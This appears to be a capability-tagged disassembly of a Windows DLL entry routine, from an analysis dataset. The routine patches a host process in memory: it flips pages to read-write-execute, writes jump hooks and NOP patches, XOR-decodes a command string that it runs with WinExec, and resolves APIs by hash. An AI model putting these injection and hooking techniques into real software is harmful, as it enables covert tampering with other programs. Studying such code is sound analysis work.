Function at 0x10007ba0
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100145b6
mov eax, dword fs:[0]
push eax
mov eax, 0x10bc
call fcn.10014490
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
sub dword [ebp + 0xc], 1
jne 0x1000875e
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x5f308d
call esi
mov eax, 0x5f308d
mov edx, 0x10128e68
mov dword ds:[eax], edx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 4
push 0x5f308d
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x6f8101
call esi
mov eax, 0x6f8101
mov edx, 0x10128e68
mov dword ds:[eax], edx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 4
push 0x6f8101
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x72d1e4
call esi
mov eax, 0x72d1e4
mov edx, 0x10128e68
mov dword ds:[eax], edx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 4
push 0x72d1e4
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x735e90
call esi
mov eax, 0x735e90
mov edx, 0x10128e68
mov dword ds:[eax], edx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 4
push 0x735e90
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x735f3c
call esi
mov eax, 0x735f3c
mov edx, 0x10128e68
mov dword ds:[eax], edx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 4
push 0x735f3c
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x735f9c
call esi
mov eax, 0x735f9c
mov edx, 0x10128e68
mov dword ds:[eax], edx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 4
push 0x735f9c
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x747d2c
call esi
mov eax, 0x747d2c
mov edx, 0x10128e68
mov dword ds:[eax], edx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 4
push 0x747d2c
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x747d93
call esi
mov eax, 0x747d93
mov edx, 0x10128e68
mov dword ds:[eax], edx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 4
push 0x747d93
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x747d1b
call esi
lea eax, [ebp - 0x10c4]
mov dword [0x747d1b], 0x1388
push eax
push dword [ebp - 0x10c4]
push 4
push 0x747d1b
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x72d1cf
call esi
lea eax, [ebp - 0x10c4]
mov dword [0x72d1cf], 0x1388
push eax
push dword [ebp - 0x10c4]
push 4
push 0x72d1cf
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x735f8b
call esi
lea eax, [ebp - 0x10c4]
mov dword [0x735f8b], 0x1388
push eax
push dword [ebp - 0x10c4]
push 4
push 0x735f8b
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x735f2b
call esi
lea eax, [ebp - 0x10c4]
mov dword [0x735f2b], 0x1388
push eax
push dword [ebp - 0x10c4]
push 4
push 0x735f2b
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x735e7b
call esi
lea eax, [ebp - 0x10c4]
mov dword [0x735e7b], 0x1388
push eax
push dword [ebp - 0x10c4]
push 4
push 0x735e7b
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 4
push 0x5f307c
call esi
lea eax, [ebp - 0x10c4]
mov dword [0x5f307c], 0x1388
push eax
push dword [ebp - 0x10c4]
push 4
push 0x5f307c
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x550e84
call esi
mov eax, 0x10007900
mov byte [0x550e84], 0xe9
sub eax, 0x550e89
mov dword [0x550e85], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x550e84
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x550ccb
call esi
mov eax, 0x10007930
mov byte [0x550ccb], 0xe9
sub eax, 0x550cd0
mov dword [0x550ccc], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x550ccb
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x550b2c
call esi
mov eax, 0x10007960
mov byte [0x550b2c], 0xe9
sub eax, 0x550b31
mov dword [0x550b2d], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x550b2c
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x551379
call esi
mov eax, 0x10007990
mov byte [0x551379], 0xe9
sub eax, 0x55137e
mov dword [0x55137a], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x551379
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x55787e
call esi
mov eax, 0x100079c0
mov byte [0x55787e], 0xe9
sub eax, 0x557883
mov dword [0x55787f], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x55787e
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x5513a2
call esi
mov eax, 0x100079f0
mov byte [0x5513a2], 0xe9
sub eax, 0x5513a7
mov dword [0x5513a3], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x5513a2
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x5513c5
call esi
mov eax, 0x10007a20
mov byte [0x5513c5], 0xe9
sub eax, 0x5513ca
mov dword [0x5513c6], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x5513c5
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x5a04c0
call esi
mov eax, 0x10007a50
mov byte [0x5a04c0], 0xe9
sub eax, 0x5a04c5
mov dword [0x5a04c1], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x5a04c0
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x5515b8
call esi
mov eax, 0x10007a80
mov byte [0x5515b8], 0xe9
sub eax, 0x5515bd
mov dword [0x5515b9], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x5515b8
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x551097
call esi
mov eax, 0x10007ab0
mov byte [0x551097], 0xe9
sub eax, 0x55109c
mov dword [0x551098], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x551097
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x550b4c
call esi
mov eax, 0x10007ae0
mov byte [0x550b4c], 0xe9
sub eax, 0x550b51
mov dword [0x550b4d], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x550b4c
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x550dec
call esi
mov eax, 0x10007b10
mov byte [0x550dec], 0xe9
sub eax, 0x550df1
mov dword [0x550ded], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x550dec
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x576a63
call esi
mov eax, 0x10007b40
mov byte [0x576a63], 0xe9
sub eax, 0x576a68
mov dword [0x576a64], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x576a63
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 5
push 0x550c1b
call esi
mov eax, 0x10007b70
mov byte [0x550c1b], 0xe9
sub eax, 0x550c20
mov dword [0x550c1c], eax
lea eax, [ebp - 0x10c8]
push eax
push dword [ebp - 0x10c4]
push 5
push 0x550c1b
call esi
push 0
push 0xdbd
lea eax, [ebp - 0xfd8]
push eax
push 0x5509c0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 6
push 0x59ce42
call esi
mov eax, 0x59ce42
mov ecx, 0x90909090
mov dword [eax], ecx
mov word [eax + 4], cx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 6
push 0x59ce42
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 6
push 0x55774d
call esi
mov eax, 0x55774d
mov ecx, 0x90909090
mov dword [eax], ecx
mov word [eax + 4], cx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 6
push 0x55774d
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 6
push 0x59e82d
call esi
mov eax, 0x59e82d
mov ecx, 0x90909090
mov dword [eax], ecx
mov word [eax + 4], cx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 6
push 0x59e82d
call esi
lea eax, [ebp - 0x10c4]
push eax
push 0x40
push 6
push 0x59c702
call esi
mov eax, 0x59c702
mov ecx, 0x90909090
mov dword [eax], ecx
mov word [eax + 4], cx
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x10c4]
push 6
push 0x59c702
call esi
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edx, 0xdf
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10019bc0]
xor al, dl
mov byte [ebp + ecx - 0x1010], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x36
jb 0x10008340
lea eax, [ebp - 0x114]
mov byte [ebp - 0xfda], 0
push eax
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.10008c30
add esp, 0xc
lea eax, [ebp - 0x218]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x94
lea eax, [ebp - 0x10c0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x24
mov dword [ebp - 0x10c0], 0x94
lea eax, [ebp - 0x10c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10bc], 6
ja 0x100083fc
cmp dword [ebp - 0x10b8], 1
ja 0x100083fc
mov byte [0x10128de9], 1
jmp 0x10008403
mov ecx, edi
call fcn.100122f0
push 0x1f241e4f
lea ecx, [ebp - 0x101c]
call fcn.100089d0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
mov word [ebp - 0x1014], 0
push 0x5cc720c7
lea ecx, [ebp - 0x102c]
movq qword [ebp - 0x101c], xmm0
mov esi, eax
mov byte [ebp - 0x1012], 0
call fcn.10008b60
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 0x1024], 0
movq qword [ebp - 0x102c], xmm0
call eax
push ecx
push 0x1b
lea edx, [ebp - 0xff4]
mov dword [ebp - 0xff4], 0xffffffa1
mov dword [ebp - 0xff0], 0xffffffff
mov dword [ebp - 0xfec], 0xffff8b32
mov dword [ebp - 0xfe8], 0xffffffff
mov dword [ebp - 0xfe4], 0x78ffffff
mov dword [ebp - 0xfe0], 0x8bffff89
mov word [ebp - 0xfdc], 0x8ff
mov byte [ebp - 0xfda], 0x51
call fcn.10012110
add esp, 8
test eax, eax
je 0x1000884d
mov eax, dword [eax + 1]
lea edx, [ebp - 0xffc]
push ecx
push 0x21
mov dword [0x10128e5c], eax
mov dword [ebp - 0xffc], 0xffffffa1
mov dword [ebp - 0xff8], 0xffff89ff
mov dword [ebp - 0xff4], 0x83ffffff
mov dword [ebp - 0xff0], 0xffffffff
mov dword [ebp - 0xfec], 0xffff02ff
mov dword [ebp - 0xfe8], 0xffffff83
mov dword [ebp - 0xfe4], 0x7404ffff
mov dword [ebp - 0xfe0], 0x6affebff
mov byte [ebp - 0xfdc], 0
call fcn.10012110
add esp, 8
mov dword [0x10128e60], eax
test eax, eax
je 0x100087fe
mov eax, dword [eax + 1]
lea edx, [ebp - 0xff0]
push ecx
push 0x17
mov dword [0x10128e60], eax
mov dword [ebp - 0xff0], 0x8e68
mov dword [ebp - 0xfec], 0xc16800
mov dword [ebp - 0xfe8], 0xff8d0000
mov dword [ebp - 0xfe4], 0xffffffff
mov dword [ebp - 0xfe0], 0xffffffe8
mov word [ebp - 0xfdc], 0x6aff
mov byte [ebp - 0xfda], 2
call fcn.10012110
mov esi, eax
add esp, 8
test esi, esi
je 0x100087be
push ecx
push 0x1b
lea edx, [ebp - 0xff4]
mov dword [ebp - 0xff4], 0xffffffa1
mov dword [ebp - 0xff0], 0xffffffff
mov dword [ebp - 0xfec], 0xffff8b32
mov dword [ebp - 0xfe8], 0xffffffff
mov dword [ebp - 0xfe4], 0x78ffffff
mov dword [ebp - 0xfe0], 0x8bffff89
mov word [ebp - 0xfdc], 0x8ff
mov byte [ebp - 0xfda], 0x51
call fcn.10012110
add esp, 8
mov dword [0x10d7b33c], eax
test eax, eax
je 0x10008780
mov eax, dword [eax + 0xb]
lea ecx, [esi + 0x47]
mov dword [0x10d7b338], ecx
mov dword [0x10d7b33c], eax
mov edx, dword [ecx + 1]
add ecx, 5
add edx, ecx
mov dword [0x10d7b338], edx
lea ecx, [edx + 0xa]
mov dword [0x10d7b334], ecx
mov esi, dword [ecx + 1]
add ecx, 5
add esi, ecx
mov dword [0x10d7b334], esi
lea ecx, [esi + 0x2d]
mov dword [0x10d7b330], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x25]
mov dword [0x10d7b32c], ecx
mov dword [0x10d7b330], eax
mov edx, dword [ecx + 1]
add ecx, 5
add edx, ecx
mov dword [0x10d7b32c], edx
lea ecx, [edx + 8]
mov dword [0x1001e064], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x21]
mov dword [0x1001e070], ecx
mov dword [0x1001e064], eax
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x3a]
mov dword [0x1001e06c], ecx
mov dword [0x1001e070], eax
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x42]
mov dword [0x1001e068], ecx
add edx, 0xc8
mov dword [0x1001e06c], eax
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
mov dword [0x1001e060], edx
mov dword [0x1001e068], eax
mov ecx, esi
mov eax, dword [edx + 1]
add edx, 5
add eax, edx
mov dword [0x10128e64], 0x100078b0
push 0x76
mov edx, 0xc3
mov dword [0x1001e060], eax
call fcn.100117c0
mov ecx, dword [0x10d7b32c]
mov edx, 0xc3
push 0x1e0
call fcn.100117c0
mov ecx, dword [0x10d7b338]
mov edx, 0xc3
push 0x33
call fcn.100117c0
mov ecx, dword [0x10d7b338]
add esp, 8
mov edx, 0x100077b0
call fcn.10011780
add esp, 4
mov dword [0x10d7b340], edi
call fcn.1000f7a0
call fcn.1000f810
push 0
push ecx
push 0
push 0x10006c10
call fcn.100121d0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10013364
mov esp, ebp
pop ebp
ret 0xc
mov edx, 0x67
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.4__58]
xor al, dl
mov byte [ebp + ecx - 0xfec], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x10008790
mov byte [ebp - 0xfda], 0
mov dword [ebp - 4], 0
call fcn.10011730
mov edx, 0x72
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10019c28]
xor al, dl
mov byte [ebp + ecx - 0xff8], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x100087d0
mov byte [ebp - 0xfdd], 0
mov dword [ebp - 4], 1
call fcn.10011730
mov edx, 0xba
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10019c04]
xor al, dl
mov byte [ebp + ecx - 0x1020], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10008810
lea eax, [ebp - 0x1020]
mov byte [ebp - 0x1011], 0
push eax
push 0
push 0x1011e230
call fcn.10009390
add esp, 0xc
call fcn.10011730
mov edx, 0x82
xor eax, eax
nop dword [eax]
nop dword [eax + eax]
mov cl, byte [eax + 0x10019c44]
xor cl, dl
mov byte [ebp + eax - 0xfec], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0xf
jb 0x10008860
lea eax, [ebp - 0xfec]
mov byte [ebp - 0xfdd], 0
push eax
push 0
push 0x1011e230
call fcn.10009390
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [ebp - 0xfec], xmm0
call fcn.10011730
int3